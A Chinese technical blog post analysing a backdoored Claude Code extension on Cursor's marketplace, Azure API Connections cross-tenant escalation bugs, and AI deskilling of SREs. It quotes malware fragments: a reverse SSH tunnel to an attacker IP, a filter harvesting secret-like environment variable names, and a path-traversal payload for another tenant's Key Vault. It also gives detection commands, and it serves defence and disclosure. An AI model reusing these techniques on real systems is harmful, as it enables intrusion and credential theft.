云雀 · 轻技术笔记

2026年10月31日:2915 万安装量的扩展,同一个版本号在两个市场上是两份字节

AIAgentLLM大模型AIGC

先说结论。

10 月 29 日早上 2:27 分(太平洋时间),一个叫 anthropic.claude-code 的 VS Code 扩展被推上了 Cursor 的扩展市场。到当天 1:35 分被下架,这个恶意版本在市场上存在了大约 11 小时。

这段 11 小时里,它做了一件事:往受害者的 ~/.ssh/authorized_keys 里塞一把 Ed25519 公钥,装三个平台的持久化,挖一份主机清单,然后通过明文 HTTP 发给 134.209.82.225。

我花了一上午去核这件事,核出来的东西比通报本身更有意思:

那个被投毒的版本号 2.1.313,从来没有在任何一个官方渠道存在过。 Anthropic 自己的 GitHub releases 里没有,GitHub tag 里没有,OpenVSX 的历史版本列表里没有,微软官方市场的版本列表里也没有。而 2.1.312 在 OpenVSX 上是干净的,在 Cursor 市场上是被污染的。

我实测比对了哈希。同一个版本号,两份完全不同的字节。

这不是一次「供应链被攻破」的故事。这次投毒没有攻破任何东西。攻击者在一个市场里造了一个看起来对的版本号,市场就把它当成官方发布推了出去。版本号不是身份证明,发布者名字也不是。

同一天还有两件事撞上来。

Azure 的 API Connections 被同一个研究员挖出五个跨租户提权漏洞,赏金 20 万美元。核心问题在微软自己画的架构图里就写着:授权的 token 和实际使用的 token,从一开始就在两条不同的路径上。

还有一篇 2026 年 2 月的旧文在今天重新爬上 Hacker News 首页,讲的是 1983 年 Bainbridge 的《Ironies of Automation》:自动化越彻底,人在罕见故障时越无能。

三个不相干的方向,说的是同一件事。

1. 一个从来没存在过的版本号

先把时间线和证据摊开。

10 月 29 日 2:27am PT 到 1:35pm PT,一个被篡改过的 Claude Code 扩展出现在 Cursor 的 VS Code 扩展市场。10 月 30 日,Phorion 的 Calum Hall 发了第一篇完整逆向报告,HN 上 818 分、274 条评论。同一天至少还有另外两个独立团队发了各自的分析。

Cursor 官方当天也发了安全公告,承认市场被攻破,并在 10 月 30 日 11:30am PT 更新了 IOC 和受影响版本范围。10 月 31 日 Phorion 更新报告,明确受影响版本是 2.1.312 和 2.1.313。

现在说我自己核的部分。

我去查了 Anthropic 的 GitHub releases,前 15 条是 v2.1.316、v2.1.314、v2.1.312、v2.1.311、v2.1.310……2.1.313 这一行不存在,中间直接跳过去了。

我又去查了 Anthropic/claude-code 的 git tag,前 100 个 tag 里同样没有 v2.1.313,但 v2.1.312 和 v2.1.314 都在。

然后是 OpenVSX。它的 allVersions 字段是一个完整的版本列表,最新是 2.1.316,往下是 2.1.314、2.1.312、2.1.311……2.1.313 同样不存在。

最后是微软官方市场。我直接调了它的 extensionquery 接口,返回的版本列表里只有 2.1.314 和一个 2.1.89。2.1.313 也不存在。

四个渠道,四个独立的数据源,同一个结论。

有个细节值得单拎出来。HN 上有人比我更早注意到了这个现象,他说 2.1.313 在微软市场里也缺失,而且 GitHub CHANGELOG 里没有这个版本、也没有对应的 tag,但 2.1.312 和 2.1.314 都有。另一个人补充说 GitHub 的 release tag 是不可变的(immutable releases),发出去就没法删掉藏起来,所以「其实发过后来又抹了」这个解释不成立。

我当时看到这条的时候,去把两边哈希都拉下来比了。

Cursor 官方公告里公布了四个被篡改 VSIX 的哈希。而 OpenVSX 自己在每个版本的 .sha256 文件里公布官方哈希。我拿到的结果是:

2.1.312 darwin-arm64
  OpenVSX 官方:  b851e43b35b634987ef794fbddc759a7eeabd662088511a276f6063a598373d2
  Cursor 公布恶意: fcbb327e38e61c4fec795e0d0591f52cd1014b813d20a5912104953c3a17c364

2.1.312 win32-x64
  OpenVSX 官方:  4393b5a468057ec65061083604f2db1f03bdd2725f2a72c485eaae6cffe75ddd
  Cursor 公布恶意: 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081

完全不同的两组值。同一个版本号 2.1.312,在 OpenVSX 上是干净的字节,在 Cursor 市场上是被污染的字节。

这一条就把「看版本号判断真假」这个习惯彻底废掉了。版本号在这件事里根本不是版本号,它是个装饰。

那攻击者是怎么把假包塞进 Cursor 市场的?Cursor 官方公告的说法是 publishing 流程的某个环节被攻破,Anthropic 官方在 HN 上的表态更含糊一点。OpenSourceMalware 那篇的分析结尾写得很克制:

这些发现只证明这个具体产物是恶意的;它们本身并不能证明 Anthropic 官方市场的发布或分发基础设施被攻破。

这个态度是对的。截至现在,这个问题没有定论。但无论结论是「发布凭据泄露」还是「市场管道被投毒」,有一件事已经确定:分发通道本身不提供任何内容保证,它只提供身份标签。

顺便说一句规模。我从微软官方市场的 extensionquery 接口拿到的统计是这个扩展的 install 计数 29,157,653,updateCount 690,870,886。两千九百万次安装,六亿九千万次更新。

这里要说清楚一个容易搞混的地方:这 2915 万是微软官方市场的安装量,恰恰是那份没被投毒的干净包。 攻击者挑的是 Cursor 那个市场,被污染的版本只在那里活了 11 小时,Cursor 市场的安装规模官方没公布。也就是说,被投毒的是较小的那条通道。

但这不代表影响小。Cursor 是 VS Code 的主流 fork 之一,用它的人里坐着一大批全球最会写代码的工程师,而这条通道上装的东西天然带着 Anthropic 这个名字。一个名字带来的信任溢价,在跨市场分发里是可以直接兑现的。

2. 六十六行代码,和它精确选择的失败方式

两个独立团队的报告,Phorion 和 OpenSourceMalware,都指向同一个文件:extension.js,同一个 SHA-256:ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15。

Phorion 给的 SHA-256 和 Cursor 官方公告里「Payload」一节给的完全一致。两个互不相识的团队、两个不同的分析路径、同一个哈希。这种一致性我一般只在看真东西的时候才会见到。

恶意代码的形态很干净:66 行前置 IIFE,贴在压缩后的合法 bundle 最前面。 后面几千行是正常的 Claude Code 扩展代码,正常的 activate / deactivate 导出,正常的 UI 代码。

前 66 行做的事情,按 Phorion 的阶段划分是四步。

第一步,往 ~/.ssh/authorized_keys 追加一把 Ed25519 公钥,comment 写着 svc-telemetry。目录权限设 0700,文件权限设 0600。追加之前它会先检查 svc-telemetry 这个字符串在不在文件里。注意,检查的是 comment 不是密钥本身。Phorion 特意提醒了一句:排查的时候要查公钥指纹,别只依赖 comment 字符串。

第二步,尝试把本机 SSH 服务打开。Linux 走 systemctl,macOS 走 systemsetup -setremotelogin on,Windows 走 PowerShell 装 OpenSSH Server。

第三步,建立反向 SSH 隧道。-N -R '*:0:localhost:22',目标是 tunnel@134.209.82.225。远端服务器动态分配一个端口,任何连到这个端口的流量会被转发回受害者的本地 22 端口。攻击者拿第一阶段种下的那把公钥就能登进来,拿完整交互式 shell 和文件传输能力。

第四步,主机侦察 + 信标。

到这里为止都挺常规。真正让我停下来的是它失败的方式。

这个后门在两个主力平台上,入侵路径都是自己坏的。

macOS 这条,Phorion 挖得很细。脚本先跑 systemsetup -getremotelogin(不带 sudo),然后判断输出里是不是匹配 /Off/i,只有匹配到才去执行 sudo -n systemsetup -setremotelogin on。

问题在于 systemsetup -getremotelogin 需要管理员权限,普通用户跑它会打印:

You need administrator access to run this tool... exiting!

然后 exit code 是 0。

脚本拿到的 stdout 是这句话,/Off/i 匹配不上,于是跳过整个 if 块。结果是:脚本把「我没权限查它是不是开着」理解成了「它已经开着了」。所以在一台本来没开 Remote Login 的 Mac 上,这一步不但没开启,还根本不会执行 sudo -n systemsetup -setremotelogin on。

Phorion 写得很准:

这个 bug 可以破坏访问链的最后一步。如果 Remote Login 没有被启用,出站隧道仍然能连到攻击者的服务器,但任何通过隧道转发回来的流量都会撞上 localhost 上关闭的 22 端口。

他还提醒不要把 systemsetup -setremotelogin on 当成告警的必要条件,因为在这个 bug 下这条命令经常根本不跑,你在进程遥测里根本看不到它。

Windows 这条也有自己的毛病。代码路径把 PowerShell 的服务安装命令塞进了一个辅助函数 det(),而这个函数硬编码了 /bin/sh。Windows 标准安装里没有这个东西。

所以我一开始的判断是:这个 payload 在 macOS 和 Windows 上都进不来。

然后我重新读第四阶段,读出点别的东西。

它真正需要成功的,是清点,不是入侵。

侦察阶段收集的东西:主机名、用户名、操作系统、CPU 架构、home 目录、当前工作目录、全局 git config 的 user.email、公网 IP,以及最多 40 个匹配 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的环境变量名。

注意是名字,不是值。代码就三行:

Object.keys(process.env)
    .filter(function (k) { return /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k) })
    .slice(0, 40)

它没有取环境变量的值。因为这一步的目的根本不是偷密钥,而是给攻击者出一份清单:这台机器上配了哪些云厂商、哪些 CI、哪些类型的凭据。拿到这份名单,攻击者就知道哪些主机值得再回来一次。

信标本身是明文 HTTP POST,/beacon,同时打到 134.209.82.225:8099 和 127.0.0.1:8099。用 setTimeout 延后 1.5 秒发一次,响应直接 res.resume() 丢掉,不做任何基于响应的行为。

两个独立的团队都注意到了那个指向 localhost 的信标。Phorion 说「不清楚为什么要同时发一份到 127.0.0.1:8099,脚本本身并没有在那个端口上起监听器」。OpenSourceMalware 把它列进 IOC,标注是「loopback」。

这个 127.0.0.1 的副本,无论出于什么目的(调试遗留,或者探测本机是否已有同类中继),它有个副作用:任何做本地 HTTP 遥测的系统,都会看见一条去 localhost:8099 的 POST。 在大多数公司的 endpoint 遥测里,本地回环流量通常是不采集的。这条信标自己给自己找了个盲区。

OpenSourceMalware 那份报告里有一句话把整件事说透了:

这个植入体的核心手法是在一个庞大的合法 bundle 前面放一个紧凑的后门,抑制所有错误,然后让预期的应用继续正常加载。扩展保持着它正常的界面,同时悄悄地建立起持久的 SSH 访问。

还有一条我特别在意:包没有声明任何 install、build、prepare、preinstall 或 postinstall 脚本。 恶意行为发生在扩展运行时,不是包管理器生命周期钩子里。

这意味着什么?意味着你用 npm install --ignore-scripts,或者在 CI 里做静态包审计、扫 lifecycle 钩子、查 postinstall 载荷,全都看不见它。因为它不在生命周期里,它在产物里。产物本身是合法的 Anthropic 二进制,UI 也正常,唯一不一样的是那个文件的前 66 行。

3. 三个精心起的名字

这批攻击者花了不少心思在命名上,而且每个平台模仿的目标都不一样。

SSH 公钥的 comment 是 svc-telemetry。看起来像一个系统遥测服务账号。

macOS 的持久化落在 ~/Library/LaunchAgents/com.apple.sysmond.plist。OpenSourceMalware 直接点破:这个 com.apple.sysmond 名字具有欺骗性,这个用户级 LaunchAgent 不是 Apple 的组件。 苹果自己确实有 sysmond(/usr/libexec/sysmond),所以一个在 LaunchAgents 目录里、label 以 com.apple. 开头的 plist,看起来应该像系统自带的。

Windows 的计划任务叫 SysMon,启动文件夹里的脚本叫 sysmon.cmd。Sysmon 是微软 Sysinternals 那个著名工具的名字。

三个名字,三套不同的冒充策略,指向同一个心理预期:让你觉得这玩意儿本来就该在那儿。

LaunchAgent 的内容也很讲究。RunAtLoad 和 KeepAlive 都设成 true,label 是 com.apple.sysmond,执行 /bin/sh ~/.config/.smt。它跑在用户上下文里,不是 root 的 LaunchDaemon。这也是为什么它不需要提权就能活下来。

而 Linux 那条有一个 Phorion 在表格里用括号标注、但正文里被截断没展开的细节:

包含一个 crontab 检查的 bug,重复运行时可能清空用户已有的 cron 任务(详见下文)。

这个「详见下文」在渲染后的文章里没有对应段落,我也没能拿到那部分正文。我不去猜它的具体实现,但「重复运行会清空用户已有的 cron 任务」这个后果本身足够重:它不只是一个后门,还是一个会顺手破坏你环境的操作。我把它标成待核实。

接下来这段是我觉得 Cursor 那份官方 remediation 脚本写得最好的地方。macOS 脚本处理 SSH 公钥的方式是这样的:

# 攻击者的公钥是「不带前导换行」追加的,所以可能和一把真实公钥挤在同一行。
# 通过已有文件写回,保留符号链接、属主和权限。
if [[ -f $AUTH_KEYS ]] && grep -qF "$KEY" "$AUTH_KEYS"; then
    tmp=$(mktemp)
    perl -0pe 's/^\Q$ENV{KEY}\E\n//mg; s/\Q$ENV{KEY}\E//g' "$AUTH_KEYS" >"$tmp" &&
        cat "$tmp" >"$AUTH_KEYS" && fixed "removed key from $AUTH_KEYS"
    rm -f "$tmp"
fi

连清理脚本都在小心翼翼不破坏你的文件属性、用 cat > 而不是 mv 以保留符号链接、软引用和权限。而且它不删除整个 authorized_keys,只精确地删掉那一行。

一个攻击你 SSH 认证文件的 payload,它的清理脚本比很多人写运维脚本都讲究。 这个对比本身就说明了这段代码的作者是什么水平。

还有一个检测层面的反常识,来自 Phorion:

因为恶意软件使用 Node 的 fs.appendFileSync 直接追加到 ~/.ssh/authorized_keys,只监控 shell 命令(比如 echo 或 tee 触碰 authorized_keys)的进程级规则抓不到它。

要盯文件修改,不要盯命令行。 你 SSH 日志里那些 echo 'ssh-ed25519 AAA...' >> ~/.ssh/authorized_keys 的告警规则,一条都不会响。

4. 卸载不等于修复:11 小时的真空

Cursor 官方公告里有一句写得很不客气:

卸载扩展可能不够:payload 会掉下独立的持久化脚本,它们会继续运行。

三个平台的持久化落点:

  • Linux:~/.config/.smt(重建隧道私钥并循环连接)、~/.config/.smtk(私钥本体)、以及 crontab 里一条 @reboot 条目
  • macOS:同两个文件,加上 ~/Library/LaunchAgents/com.apple.sysmond.plist
  • Windows:~/.config/smt.cmd、~/.config/smtk、名为 SysMon 的计划任务,以及 %APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd

注意 ~/.config/.smt 这个路径。它伪装成普通配置文件,藏在用户 home 下的隐藏目录里。

还有一件事:隧道是以 detached 方式启动的,还包在一个每 60 秒重试一次的循环里,靠 pgrep 避免重复起进程。关掉 IDE 它也不死。

那 11 小时里,有多少台机器装了?没人知道。Cursor 说他们审计了访问记录,确认没有其他扩展被篡改,还轮换了密钥、重建了市场、并且和托管方合作把攻击者的服务器下线了。这个动作很关键,服务器下线意味着隧道和信标现在都打不通。

但 Cursor 自己也承认了一句更让人不安的话:

这些发现只涉及已识别的那个包。我们没有证据表明其他版本的扩展或官方分发渠道受到影响。

以及:

有限的 env-var 采集并不能排除通过后门进行后续凭据访问的可能性。

翻译一下:信标发出去的是环境变量名字,不是值。所以清单上写着「这台机器有 AWS_ACCESS_KEY_ID」,但密钥本身没被这次信标带走。可是隧道是活的,只要 SSH 服务是开着的,攻击者就能随时回来自己拿。信标是索引,不是终点。

Cursor 最后一句劝告也值得抄下来:

从一台可信的系统上,轮换受影响主机上所有可访问的凭据与会话。

现在回到那 11 小时。

谁会发现一个后门在 macOS 上自己坏了?只有一直在读进程遥测、并且知道该看什么的人会注意到「隧道建立成功但反向转发失败」这个模式。而这恰恰是那种「不读也没人发现」的东西。

5. Azure:一张官方架构图就是一份攻击说明书

同一天,Azure 的 API Connections 被挖出五个跨租户提权漏洞,研究员是 Errigo,赏金 20 万美元,在 Blue Hat Asia 2026 上讲过。

漏洞的技术细节不复杂,复杂的是它的架构。

Azure Logic Apps 的 API Connections 工作流程,微软官方文档里画得清清楚楚:Logic App 去查一个共享的 API Management 实例,APIM 先校验这个连接器类型的 swagger 定义合法,再做一次「密钥交换」,把传入的 token 换成后端服务配置的 token,然后 APIM 用新 token 去访问后端。

那张架构图,Errigo 在文章里说得很直白:

这基本上已经把系统怎么运作需要知道的全部都写清楚了,恭喜 whoever made that。

漏洞的推导路径因此很清晰:只要能让 APIM 操作用别人的连接而不是你自己的连接,就能拿到受害者连接里配置好的那个 token,去访问受害者的后端。

后端可以是任何东西。Key Vault、Azure SQL 库、Jira、Salesforce,这个列表没有边界。

具体攻击手法是路径遍历。Errigo 给的第一个 payload 就是在自己连接的 DynamicInvoke 端点上,用 path/%2e%2e/%2e%2e/%2e%2e/%2e%2e/apim/keyvault/... 一路往上爬,读到了另一个租户的 Key Vault secret:

{
  "response": {
    "statusCode": "OK",
    "body": {
      "value": "dontreadme",
      "name": "victimsecret",
      "version": "7914d45aa60342809fb8cc12dc68b10e"
    }
  }
}

后面还有更狠的:他建了一个 Standard Logic App,SSH 进去,把 ARM API 的实际代码从资源类型定义里抠了出来,发现有四个完全没文档化的动态调用函数。官方只堵了 DynamicInvoke 一个,DynamicList 还能直接换过去,甚至能做跨租户写,往受害者的 SQL 库里插数据。

一个没人知道存在的参数,就是一个没人防守的入口。

然后是最精彩的一处。Errigo 发现 host.api.RuntimeUrl 这个参数官方文档里根本没提,但至今仍被接受。Microsoft 修了一次,加了校验,报错信息写得又臭又长,说 runtime URL 必须精确匹配预期的 API endpoint。

Errigo 一测就发现校验有顺序问题:

除非你判断错了这个值检查的时机,否则这个 bug 可以绕过去。

校验发生在路径规范化之前。 所以校验器认为这个 URI 指向我自己的连接,而 APIM 实例看到的是另一个。

Microsoft 后来补了路径遍历的修复,结果又出现了一次回退:原来的 RuntimeUrl 路径不再被校验,那个老的攻击又通了。

Errigo 结尾的评价值得原样抄下来:

API Connections 总共给我带来了 Azure 里五个关键提权漏洞,也许比预期的要多。所有漏洞在我提交报告后都在合理时间内修复了,过程中我们和 MSRC 有些分歧,但总体上我对结果相当满意。

这段话的分量在于:它同时是漏洞披露,也是对架构的判决。 一个连自己的官方架构图都等于攻击说明书的系统,「我们修复得很快」这句话听着就没那么让人安心了。

而且它和第一个故事是同一个结构。

扩展后门:把一段代码放在合法 bundle 前面,抑制错误,让应用继续正常加载。用户的判断力被合法 UI 接管了。

Azure 漏洞:把一个真实的连接放在另一个连接前面,让 APIM 正常完成密钥交换。管理员的判断力被官方 API 接管了。

两个案例里,被绕过的都不是安全机制,而是人的注意力。

6. 一篇 1983 年的论文,在 2026 年重新爬上 HN 首页

第三件事是今天 HN 上 530 分的那篇《AI Isn't Replacing SREs. It's Deskilling Them.》。

先说清楚日期,免得误导:这篇文章是 2026 年 2 月 28 日 发的,SigNoz 的 newsletter,作者 Elizabeth。今天它重新上了 HN 首页。它谈的是可观测性厂商,但聊的是所有被 AI 辅助的运维岗。

核心框架来自 Lisanne Bainbridge 1983 年的《The Ironies of Automation》。这篇论文研究工厂自动化,结论是个悖论:自动化越彻底,自动化失效时人类操作员就越关键,而他们恰恰因为练习机会减少,在那些时刻表现得最差。

作者把它平移到 AI 上。工业自动化拿走了蓝领的体力活,留下来的人要处理那些他们已经失去肌肉记忆的例外情况。AI 拿走的是知识工作的例行认知任务(模式匹配、分诊、已知问题定位),留给人的是罕见、复杂、有歧义的问题。

而那些需要深厚专业知识的场景,正是专业知识在停止练习后萎缩的地方。

文里引了两条研究(转述自原文,我没有去核对原始论文):

  • 医学上,内镜医生使用 AI 辅助做息肉检测一段时间后,**撤掉 AI 辅助的检出率从 28% 掉到 22%**。理论没忘,但不再练习了。
  • 航空上,长期依赖自动驾驶的长途飞行员,情境意识和手动驾驶能力出现可测量的退化,问题严重到 FAA 开始强制要求更多手动飞行时间来对冲。

然后是这篇里我觉得最狠的一个词:never-skilling。

Deskilling 意味着你曾经有过某项能力,后来失去了。Never-skilling 意味着你压根就没建立过它。

对于今天进场的初级 SRE,在 AI 处理掉大部分事件响应的环境里,建立直觉和手感的机会正在消失。而且这个培训管道本身是坏的、不能自我修复的:SRE 意识到自己在退化,于是更依赖 AI 来补,退化因此加剧,恶性循环。

作者列的具体退化症状,每一条我都能对上后门那件事:

我们不再读原始日志流,因为 AI 帮我们总结;我们不再在事故中形成假设,因为 AI 给出根因建议;我们不再建立系统架构的心智模型,因为 AI 帮我们画出依赖关系。

现在把两个故事放在一起。

后门在 macOS 上因为一个 systemsetup 的权限 bug,自己把入侵路径搞坏了。这件事只有在读进程遥测、并且理解「隧道建成了但转发没通」这个模式的人才看得见。

而一个从不读原始日志、不自己形成假设、依赖 AI 总结根因的 SRE 团队,看不见。

11 小时里没有人注意到后门在自己坏掉,原因不在攻击者多高明,在于看的人已经不看了。

顺带说,那篇文章评论区有个细节我很喜欢。有人提到美国海军五十多年前也走过同一条路。当时他们几乎能自动化一切,但项目负责人坚持:机器可以建议怎么做,但必须永远有一个人在回路里实际执行,否则机器失效那天你就失去了能力。

还有一条更实用的,写在正文的建议里:

有意识的不效率。就像 FAA 即使在自动驾驶完全胜任时也强制要求手动飞行时间,SRE 团队可以把某些事故,哪怕 AI 完全能处理的事故,指定为人类练习机会。

以及一个区分,我觉得比整篇文章都值钱:

造一个「人在回路里」的系统,和造一个「人在旁边」的系统,有本质区别。前者把人放在监督角色上,而 Bainbridge 的研究证明监督会导致警觉衰减;后者让人在认知上保持参与。

human-in-the-loop 和 human-on-the-side,一个字母的差别,能力保持和能力流失的差别。

7. 三层同时用符号代替验证

把这三件事放在一起,它们是同一个结构。

分发层。 你判断一个扩展是真是假,靠的是「发布者名字对不对」和「版本号新不新」。这两个都是符号。真正决定你机器安全的是那几百 MB 字节的具体内容,而没有任何一个分发环节在交付时校验它。

架构层。 你判断一个云服务安不安全,靠的是「官方架构图」和「文档里的参数说明」。官方文档描述的是设计意图,代码跑的是实现,两者之间那道缝就是入口。Azure 那五个漏洞里,最难防的一个是 host.api.RuntimeUrl,连研究员自己都说「我完全不知道为什么这个参数还存在」。

人的层。 你判断系统健不健康,靠的是「仪表盘是绿的」和「AI 总结的根因」。这两个都是代理信号,不是观察本身。SigNoz 那篇说得很准:因为你无法准确判断自己真实的技能水平,所以这件事「感觉被生产力掩盖了」。

三个层的共同点:没有一个环节在做真正的验证,它们都只是在确认一个符号。

而真正能抓住这类问题的能力,恰好是那套正在被自动化掉的能力。Claude Code 后门要靠人读进程树和文件写入,Azure 的漏洞要靠人读架构图和实际代码,SRE 要靠人在事故现场形成假设。

我们正在用一套只能处理例行问题的自动化,去防守一套只会出例行之外问题的东西。 而这套自动化的使用者,同时就是它的受害者。

8. 那么今天具体该做什么

下面是能直接跑的检查,不谈原则只谈命令。

先查你机器上有没有中招。扩展目录里直接搜 marker 字符串比看版本号可靠得多:

# 1. 搜恶意 marker(比看版本号可靠)
grep -rl "svc-telemetry" ~/.cursor/extensions/ ~/.vscode/extensions/ 2>/dev/null

# 2. 查 authorized_keys(用指纹查,别只靠 comment)
grep -n "AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ" ~/.ssh/authorized_keys

# 3. macOS:查伪装的 LaunchAgent + 持久化脚本 + 隧道私钥
ls -la ~/Library/LaunchAgents/ | grep -i sysmond
ls -la ~/.config/.smt ~/.config/.smtk /tmp/.stk_* 2>/dev/null

# 4. 查反向隧道进程(注意 -R *:0:localhost:22 这个特征串)
ps aux | grep -E "ssh.*-R.*:0:localhost:22"

# 5. Linux:查 crontab 里的 @reboot 条目
crontab -l | grep -i smt

再查有没有人真的进来过。隧道打通的标志是 SSH 日志里出现来自本机回环地址的登录:

# 6. macOS:sshd 日志里来自 127.0.0.1 / ::1 的登录 = 有人走过隧道
log show --predicate 'process == "sshd"' --last 30d 2>/dev/null | grep -E "127\.0\.0\.1|::1"

如果确认中招,官方清理脚本在 https://cursor.com/static/security/claude-code-extension/remediate-macos.sh 和对应的 Windows 版本。macOS 的要用受影响的那个用户身份跑,不要用 root(脚本第一行就拒绝 root 跑),Windows 的要用管理员 PowerShell。脚本跑完会返回非零退出码,如果还有残留。

接着是几条不改代码的防线。

扩展安装改成看哈希不看版本号。 至少对高价值扩展(IDE 插件、CI 工具、凭据管理器),在安装前记录官方渠道公布的哈希,安装后比对。这一次如果你做的是「比对哈希」,11 小时就变成 0 小时。

把你的 endpoint 遥测从「盯命令行」挪到「盯文件写入」。 Phorion 那句提醒值得贴墙上:Node 的 fs.appendFileSync 绕过所有 shell 命令行规则。IDE 扩展宿主进程写 ~/.ssh/authorized_keys、写 ~/Library/LaunchAgents/、写用户 home 下的隐藏目录,这几条规则要单独建。

别把「后门自己坏了」当成可以忽略的噪声。 这是我觉得今天最反直觉的一条。隧道建立成功但转发失败、计划任务创建失败、LaunchAgent 加载报错,这些在一堆告警里看起来像无害的权限问题,可以先关掉。但这次它们恰恰是「攻击者没拿到访问权」的唯一证据。权限相关的失败信号,在安全场景里应该比成功信号更值得看。

把你架构里「没人理解的参数」列出来。 Azure 那个 host.api.RuntimeUrl 是怎么活到今天的?没人知道它为什么存在,所以没人敢删,也没人知道该怎么防。你可以翻自己的云架构,把那些「文档里没写、代码里在用、来源说不清」的配置项和 API 参数找出来。每一个都是没被验证过的入口。

在团队里保留刻意手动的时段。 FAA 那套逻辑直接可用:指定一部分事故,哪怕 AI 完全能处理,指定给人手动做。这样做不浪费生产力,它把能力保持在可用状态。

最后一条,关于审计本身。 不要指望 AI 帮你盯这些。Claude Code 后门要靠人读进程树和文件写入,Azure 的漏洞要靠人读架构图和实际代码,SRE 要靠人在事故现场形成假设,这些全是「不在训练分布里的异常判断」,恰好是今天被优化掉的默认值。 你把「读原始信号」这件事外包出去,你失去的就是发现别人给你动了手脚的那个能力。


回到最开始那件事。

这次投毒能活 11 小时,不是因为攻击者多高明。是因为一个 2915 万安装量的市场上,没有一个人真的去看 extension.js 的前 66 行。11 小时之后发现它的,靠的是某个例行的哈希比对流程,不是某个安全工程师的直觉。

问题从来不是没人负责。问题是负责的人手上只剩一个符号:版本号。

我们花了三十年,把代码从「人盯着写」变成「机器自动审」。接下来这三十年要做的,是把审查本身从「机器看符号」变成「机器看内容」。在那之前,别把最后一个还愿意读原始日志的人裁掉。